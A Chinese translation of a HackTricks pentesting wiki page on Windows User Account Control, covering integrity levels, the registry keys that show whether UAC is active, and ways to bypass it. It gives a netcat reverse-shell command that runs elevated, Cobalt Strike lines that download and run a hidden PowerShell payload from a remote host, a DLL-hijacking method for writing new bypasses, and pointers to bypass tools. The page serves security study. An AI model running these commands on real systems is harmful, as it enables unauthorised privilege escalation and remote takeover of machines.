UAC - User Account Control

支持 HackTricks

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 今天就获取访问权限:

UAC

用户帐户控制 (UAC) 是一个功能,允许 提升活动的同意提示。应用程序具有不同的 integrity 级别,具有 高级别 的程序可以执行 可能危害系统 的任务。当 UAC 启用时,应用程序和任务始终 在非管理员帐户的安全上下文中运行,除非管理员明确授权这些应用程序/任务以管理员级别访问系统进行运行。这是一个便利功能,可以保护管理员免受意外更改,但不被视为安全边界。

有关完整性级别的更多信息:

Integrity Levels

当 UAC 生效时,管理员用户会获得 2 个令牌:一个标准用户密钥,用于以常规级别执行常规操作,以及一个具有管理员权限的密钥。

页面 深入讨论了 UAC 的工作原理,包括登录过程、用户体验和 UAC 架构。管理员可以使用安全策略配置 UAC 在本地级别如何特定于其组织的工作(使用 secpol.msc),或通过组策略对象 (GPO) 在 Active Directory 域环境中配置并推送。各种设置在 这里 详细讨论。可以为 UAC 设置 10 个组策略设置。以下表格提供了更多详细信息:

UAC 绕过理论

如果 用户属于 管理员组,某些程序会 自动提升。这些二进制文件在其 清单 中具有 autoElevate 选项,值为 True。该二进制文件还必须 由 Microsoft 签名

然后,为了 绕过 UAC(从 中等 完整性级别 提升到高),一些攻击者使用这种二进制文件来 执行任意代码,因为它将从 高完整性级别进程 中执行。

您可以使用 Sysinternals 的工具 sigcheck.exe 检查二进制文件的 清单。您可以使用 Process ExplorerProcess Monitor(来自 Sysinternals)查看进程的 完整性级别

检查 UAC

要确认 UAC 是否启用,请执行:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

如果是 1,则 UAC 已激活;如果是 0 或者 不存在,则 UAC 未激活

然后,检查 配置的级别

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 如果 0,则 UAC 不会提示(如 禁用

  • 如果 1,则管理员会被 要求输入用户名和密码 以高权限执行二进制文件(在安全桌面上)

  • 如果 2始终通知我),当管理员尝试以高权限执行某些操作时,UAC 将始终要求确认(在安全桌面上)

  • 如果 3,类似于 1,但不一定在安全桌面上

  • 如果 4,类似于 2,但不一定在安全桌面上

  • 如果 5默认),它会要求管理员确认以高权限运行非 Windows 二进制文件

然后,您需要查看 LocalAccountTokenFilterPolicy 的值 如果值为 0,则只有 RID 500 用户(内置管理员)能够在没有 UAC 的情况下执行 管理员任务,如果为 1,则 “Administrators” 组中的所有帐户都可以执行这些任务。

最后查看 FilterAdministratorToken 的键值 如果 0(默认),则 内置管理员帐户可以 执行远程管理任务;如果 1,则内置管理员帐户 无法 执行远程管理任务,除非 LocalAccountTokenFilterPolicy 设置为 1

总结

  • 如果 EnableLUA=0不存在没有 UAC 对任何人

  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=1,没有 UAC 对任何人

  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=0FilterAdministratorToken=0,没有 UAC 对 RID 500(内置管理员)

  • 如果 EnableLua=1LocalAccountTokenFilterPolicy=0FilterAdministratorToken=1,UAC 对所有人

所有这些信息可以通过 metasploit 模块收集:post/windows/gather/win_privs

您还可以检查用户的组并获取完整性级别:

net user %username%
whoami /groups | findstr Level

UAC 绕过

请注意,如果您可以图形访问受害者,UAC 绕过是直接的,因为您可以在 UAC 提示出现时简单地点击“是”

在以下情况下需要 UAC 绕过:UAC 已激活,您的进程在中等完整性上下文中运行,并且您的用户属于管理员组

重要的是要提到,如果 UAC 处于最高安全级别(始终),则绕过 UAC 要比在其他任何级别(默认)下要困难得多

UAC 禁用

如果 UAC 已经禁用(ConsentPromptBehaviorAdmin0),您可以使用类似的方式以管理员权限执行反向 shell(高完整性级别):

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC 绕过与令牌复制

非常 基本的 UAC "绕过"(完全文件系统访问)

如果你有一个属于管理员组的用户的 shell,你可以 通过 SMB(文件系统)将 C$ 共享挂载 到一个新的磁盘上,这样你将 访问到文件系统中的所有内容(甚至是管理员的主文件夹)。

看起来这个技巧不再有效

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC绕过与Cobalt Strike

Cobalt Strike技术仅在UAC未设置为最高安全级别时有效

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploit 也有几个模块可以 绕过 UAC

KRBUACBypass

文档和工具在 https://github.com/wh0amitz/KRBUACBypass

UAC 绕过漏洞

UACME 是几个 UAC 绕过漏洞的 汇编。请注意,您需要 使用 Visual Studio 或 msbuild 编译 UACME。编译将创建几个可执行文件(如 Source\Akagi\outout\x64\Debug\Akagi.exe),您需要知道 您需要哪个。 您应该 小心,因为某些绕过会 提示其他程序,这会 警告 用户 有事情发生。

UACME 有 每个技术开始工作的构建版本。您可以搜索影响您版本的技术:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

也可以使用 这个 页面从构建版本中获取 Windows 版本 1607

更多 UAC 绕过

所有在这里使用的绕过 AUC 的技术 都需要与受害者的 完整交互式 shell(普通的 nc.exe shell 不够)。

您可以使用 meterpreter 会话获取。迁移到 Session 值等于 1进程

explorer.exe 应该可以工作)

带 GUI 的 UAC 绕过

如果您可以访问 GUI,您只需在出现 UAC 提示时接受它,您实际上不需要绕过它。因此,获取对 GUI 的访问将允许您绕过 UAC。

此外,如果您获得了某人正在使用的 GUI 会话(可能通过 RDP),有 一些工具将以管理员身份运行,您可以 直接以管理员身份运行 例如 cmd,而无需再次被 UAC 提示,如 https://github.com/oski02/UAC-GUI-Bypass-appverif。这可能会更 隐蔽

嘈杂的暴力破解 UAC 绕过

如果您不在乎嘈杂,您可以始终 运行类似 https://github.com/Chainski/ForceAdmin 的工具,它 会请求提升权限,直到用户接受它

您自己的绕过 - 基本 UAC 绕过方法

如果您查看 UACME,您会注意到 大多数 UAC 绕过利用 DLL 劫持漏洞(主要是在 C:\Windows\System32 中写入恶意 dll)。 阅读此内容以了解如何找到 DLL 劫持漏洞

  1. 找到一个会 自动提升 的二进制文件(检查它执行时是否以高完整性级别运行)。

  2. 使用 procmon 查找 "NAME NOT FOUND" 事件,这些事件可能会受到 DLL 劫持 的影响。

  3. 您可能需要在某些 受保护路径(如 C:\Windows\System32)中 写入 DLL,而您没有写入权限。您可以通过以下方式绕过此限制:

    1. wusa.exe:Windows 7、8 和 8.1。它允许在受保护路径中提取 CAB 文件的内容(因为此工具是以高完整性级别执行的)。

    2. IFileOperation:Windows 10。

  4. 准备一个 脚本,将您的 DLL 复制到受保护路径中,并执行易受攻击的自动提升二进制文件。

另一种 UAC 绕过技术

该技术是观察一个 自动提升的二进制文件 是否尝试 从注册表中读取执行二进制文件命令名称/路径(如果该二进制文件在 HKCU 中搜索此信息,则更有趣)。

使用 Trickest 轻松构建和 自动化工作流,由世界上 最先进 的社区工具提供支持。 今天就获取访问权限:

支持 HackTricks

Last updated